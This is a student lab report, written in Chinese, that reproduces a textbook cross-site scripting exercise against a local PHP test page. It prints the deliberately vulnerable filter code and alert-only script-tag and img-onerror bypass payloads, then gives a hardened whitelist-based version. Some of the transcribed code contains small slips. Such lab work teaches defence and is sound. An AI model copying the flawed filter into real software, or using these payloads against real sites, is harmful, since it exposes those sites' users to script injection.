

《软件安全》实验报告

姓名：谢小珂 学号：2310422 班级：1069

实验名称：

跨站脚本攻击

实验要求：

复现课本第十一章实验三，通过 img 和 script 两类方式实现跨站脚本攻击，撰写实验报告。有能力者可以自己撰写更安全的过滤机制。

实验过程：

1. 搭建 XSS 测试环境

在 PHPnow 服务器环境下创建 xss_test.php 测试页面，代码如下：

```
<!DOCTYPE html>

<head>

<meta http-equiv="content-type" content="text/html; charset=utf-8" >

<script>

window.alert=function()

{

confirm("Congratulations~");

}

</script>

</head>

<body>

<h1 align="center">--Welcome To The Simple XSS Test--</h1>

<?php

ini_set("display_errors",0);

$str=strtolower($_GET["keyword"]);

$str2=str_replace("script","", $str);

$str3=str_replace("on","", $str2);

$str4=str_replace("src","", $str3);

echo "<h2 align=center>Hello

".htmlspecialchars($str)."</h2>".<center>

<form action=xss_test.php method=GET>

<input type=submit name=submit value=Submit />

<input name=keyword value='".$str4.">

</form>

</center>';

?>

</body>

</html>
```

这段代码实现了一个 XSS 测试页面，其功能结构可分为 HTML 和 PHP 两大部分：

1>HTML 部分功能：

- 声明 HTML5 文档类型，设置 UTF-8 字符编码
- 包含 JavaScript 代码，重写 window.alert 函数使其显示“Congratulations~”确认框

- 在页面中央显示“Welcome To The Simple XSS Test”标题

1>PHP 部分功能:

- 禁用错误显示功能
- 处理用户输入:
 - 获取 GET 请求的 keyword 参数值
 - 将输入内容转换为小写
 - 依次移除 script、on、src 等关键词
 - 使用 htmlspecialchars 进行 HTML 转义
- 输出页面内容:
 - 显示包含用户输入的欢迎语
 - 生成包含提交按钮和输入框的表单
 - 表单提交后将数据传回当前页面

页面通过这种设计测试 XSS 漏洞，又尝试通过多重过滤来防范攻击，最终，经过 htmlspecialchars 转义处理的原始输入 (\$str) 会显示在 <h2> 标签内，而过滤后的输入内容 (\$str4) 则被置于表单的 input 框里。

执行结果如下:



```

1 <!DOCTYPE html>
2 <head>
3 <meta http-equiv="content-type" content="text/html; charset=utf-8">
4 <script>
5 window.alert = function()
6 {
7   confirm("Congratulations~");
8 }
9 </script>
10 </head>
11 <body>
12 <h1 align=center>--Welcome To The Simple XSS Test--</h1>
13 <?php
14 ini_set("display_errors", 0);
15 $str = strtolower($_GET["keyword"]);
16 $str2 = str_replace("script", "", $str);
17 $str3 = str_replace("on", "", $str2);
18 $str4 = str_replace("src", "", $str3);
19 echo "<h2 align=center>Hello ".htmlspecialchars($str)."</h2>".<center>
20 <form action=xss_test.php method=GET>
21 <input type=submit name=submit value=Submit />
22 <input type=text value='".$str4."' />
23 </form>

```

网址界面如下:



2. 基于 Script 标签的 XSS 攻击验证

2.1 黑盒测试

这个 XSS 测试页面包含一个带有 Submit 按钮的输入框，上方标题提示当前处于 XSS

测试环境。在输入框中输入测试脚本<script>alert('xss')</script>，点击提交按钮后效果如下：

--Welcome To The Simple XSS Test--

Hello <script>alert('\xss\')</script>.

Submit <>alert('\xss\')</>

当在输入框中输入 XSS 测试脚本<script>alert('xss')</script>后，脚本内容被过滤处理为纯文本显示，未触发执行。用户通过 GET 请求传递的 keyword 参数值为<script>alert('xss')</script>，PHP 脚本按以下步骤处理：

1>移除 script 关键字：通过 str_replace("script", "", \$str)过滤，原字符串变为<alert('xss')>;

2>移除 on 关键字：因结果字符串中不含 on，此步骤无变化；

3>移除 src 关键字：同理，字符串中无 src，结果仍为<alert('xss')>;

4>HTML 转义处理：通过 htmlspecialchars 将特殊字符转换为实体，最终输出为 <alert('xss')>;。

最终网页显示内容为：

```
<h2 align=center>Hello &lt;alert('\xss')&gt;.</h2>
```

此时，脚本内容被转义为普通文本，浏览器将其识别为 HTML 字符而非可执行代码，从而有效防范了 XSS 攻击。

输入测试脚本后，页面在 Hello 后面显示输入内容，同时输入框中的回显过滤掉 script 关键字。由于后台仅进行了简单的单次过滤，因此可以尝试使用双写关键字的方式绕过过滤机制。构造这样的测试脚本：<scriptipt>alert('xss')</scscriptript>，再次提交以验证绕过效果。

--Welcome To The Simple XSS Test--

Hello <scscriptipt>alert('\xss\')</scscriptript>.

Submit <script>alert('\xss\')</script>

尽管输入框的回显看似包含完整的攻击脚本，但实际并未执行。通过右键点击页面并选择"查看页面源码"功能，直接分析渲染后的 HTML 代码，从源码片段中排查脚本被阻止执行的原因。

```
xss_test [1] - 记事本
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
<!DOCTYPE html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<script>
window.alert=function()
{
confirm("Congratulations~");
}
</script>
</head>
<body>
<h1 align="center">--Welcome To The Simple XSS Test--</h1>
<h2 align=center>Hello
&lt;script&gt;alert(\'xss\')&lt;/script&gt;.</h2><center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value="<script>alert(\'xss\')</script>">
</form>
</center>
</body>
```

查看页面源码时，可以发现第 5 行存在一个被重写的 alert 函数。若攻击成功，页面会弹出一个显示 "Congratulations~" 的确认框，这是 XSS 攻击得逞的标志。

继续查看第 17 行的<input>标签，这是唯一可输入且可能被我们控制的地方。当前的输入值为：

```
<input name=keyword value="<script>alert('xss')</script>">
```

分析这行代码可知，虽然成功插入了<script></script>标签，但由于未闭合前面的 input 标签，导致脚本仅作为值回显而无法执行。因此，需要构造一个能闭合 input 标签的有效载荷：

```
"><script>alert('XSS')</script><!--"
```

这样就能突破输入框的限制，触发 XSS 漏洞。成功后的效果如下：

127.0.0.1 显示

Congratulations~



查看一下页面源码：

```
文件(F) 编辑(E) 格式(O) 查看(V) 帮助(H)
<!DOCTYPE html>
<head>
<meta http-equiv="content-type" content="text/html; charset=utf-8" >
<script>
window.alert=function()
{
confirm("Congratulations~");
}
</script>
</head>
<body>
<h1 align="center">--Welcome To The Simple XSS Test--</h1>
<h2 align=center>Hello
&quot;&gt;&lt;script&gt;alert(\'xss\')&lt;/script&gt;&lt;!--.</h2><center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value=" "><script>alert('xss')</script><!-->
</form>
</center>
</body>
```

在第 17 行的构造中，">" 这部分代码的作用是闭合前面的 <input> 标签。而添加 <!-- 则是出于美观考虑，它能够注释掉后续不需要的 ">"，防止其在页面输入框后方显示，从而保持页面的整洁。

2.2 白盒测试

代码如下：

```
<?php
ini_set( "display_errors", 0);
$str=strtolower( $_GET[ "keyword"]);
$str2=str_replace( "script", "", $str);
$str3=str_replace( "on", "", $str2);
$str4=str_replace( "src", "", $str3);
echo "<h2 align=center>Hello ".htmlspecialchars($str). ".
</h2>". '<center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value="'. $str4. "'>
</form>
</center>';
?>
```

通过对代码的分析可以发现，其处理逻辑与第 2 步黑盒测试的结论基本一致，但也存在一些未被测试覆盖的细节。例如，Hello 后面显示的内容会被转换为小写，而输入框回显时会将 script、on、src 等关键字直接替换为空。因此，如果修改 PHP 代码移除这些过滤机制，攻击者就能更容易地实施 XSS 攻击。

3. 基于 Img 标签的 XSS 攻击验证

使用 img 标签来构造攻击脚本，具体方法如下：

```
"><img srcsrc=ops! onerror="alert('XSS')"><!--
```

网页源代码如下：

```
<body>
<h1 align= "center">--Welcome To The Simple XSS Test--</h1>
<h2 align=center>Hello">&lt;&lt;imgsrcsrc=ops!onerror="&quot;
alert('xss')&quot;&gt;&lt;&lt;!--.</h2><center>
<form action=xss_test.php method=GET>
<input type=submit name=submit value=Submit />
<input name=keyword value=" "><img src=eps! onerror="alert('xss')"><!--"
</form>
</center></body>
</html>
```

用户输入的有效载荷 "><!-- 成功绕过了基于字符串替换的过滤机制。在处理后的 HTML 输出中，该输入闭合了原有的 <input> 标签，并注入了一个带有畸形 src 属性的 标签。当浏览器解析到这个恶意标签时，由于 src 属性无效触发 onerror 事件，其中的 JavaScript 代码 alert('XSS') 被执行，从而证明 XSS 攻击成功。

心得体会：

通过本次 XSS 攻击实验，我对 Web 安全的复杂性有了更具象的认知，深刻理解了

输入验证与输出过滤在防御体系中的核心地位。

在实验中，基于<script>标签的攻击充分暴露了简单字符串过滤的脆弱性。当系统仅通过 `str_replace("script", "")` 进行单次过滤时，攻击者可通过双写关键字（如 `scrsriptipt`）轻易绕过防护。这表明，静态、单向的过滤逻辑存在天然缺陷——攻击者总能通过字符拼接、编码转换等手段突破限制。而基于标签 `onerror` 事件的攻击，则进一步揭示了“事件处理机制”可能成为攻击突破口：即使过滤了部分关键字，攻击者仍可通过拆分字符（如 `oonnerror` 绕过“on”过滤）、利用标签属性（如无效 `src` 触发错误事件）实现脚本注入。

这些实践让我意识到，XSS 攻击的本质是“用户输入与代码逻辑的上下文混淆”。实验中的漏洞根源在于：

1. 未对输入进行严格的类型校验（如允许任意字符进入 HTML 输出环境）；
2. 未根据输出上下文进行针对性转义（如 `htmlspecialchars` 仅应用于<h2>标签，而表单 `input` 标签的值未做同样处理）；
3. 缺乏多层次防御策略（仅依赖字符串替换，未结合白名单、CSP（内容安全策略）等机制）。

从开发视角看，本次实验提供了重要的安全启示：

1. 输入处理需遵循“最小信任原则”：永远假设用户输入是恶意的，对关键参数（如本实验中的 `keyword`）应设定严格的合法字符集（如仅允许字母、数字、部分符号），而非仅过滤特定关键字；
2. 输出转义需“精准匹配上下文”：在 HTML 中使用 `htmlspecialchars`，在 JavaScript 中使用 `json_encode`，在 URL 中使用 `urlencode`，避免因转义不完整导致漏洞；
3. 防御体系需“纵深布局”：结合前端验证（限制输入格式）、后端过滤（正则表达式 + 转义）、浏览器安全策略（CSP 禁止内联脚本）等多层防护，而非依赖单一手段。

此外，实验中通过查看页面源码分析攻击路径的过程，让我掌握了漏洞排查的基本方法——攻击能否成功执行，本质上是看恶意代码是否突破了输出环境的上下文限制。例如，在 `<input value="">` 中注入 `><script>...</script>` 时，只有通过 `>` 闭合标签，才能将脚本“释放”到 HTML 层级执行。这提示开发者在编写代码时，需时刻关注“用户输入最终会落入何种代码环境”，并针对性地进行防护。

XSS 攻击的防御是一场“输入与过滤的博弈”。本次实验不仅复现了攻击手法，更让我认识到：安全开发不是一次性任务，而是需要融入编码习惯的思维方式。

以下是参考大模型给出的更安全的 XSS 防护方案：

```
<!DOCTYPE html>
<html>
<head>
  <meta charset="UTF-8">
  <meta http-equiv="Content-Security-Policy" content="default-src 'self'">
```

```
<title>安全 XSS 测试</title>
</head>
<body>
  <h1 align="center">安全 XSS 测试</h1>

  <?php
  // 安全设置
  header("X-XSS-Protection: 1; mode=block");

  // 白名单过滤
  $keyword = $_GET['keyword'] ?? '';
  if (!preg_match('/^[a-zA-Z0-9 .,!?-]+$/', $keyword)) {
    die("非法输入");
  }

  // 安全输出
  $safe_output = htmlspecialchars($keyword, ENT_QUOTES, 'UTF-8');
  ?>

  <h2 align="center">欢迎您, <?php echo $safe_output; ?></h2>

  <center>
    <form method="GET">
      <input type="submit" value="提交">
      <input type="text" name="keyword" value="<?php echo $safe_output; ?>">
    </form>
  </center>
</body>
</html>
```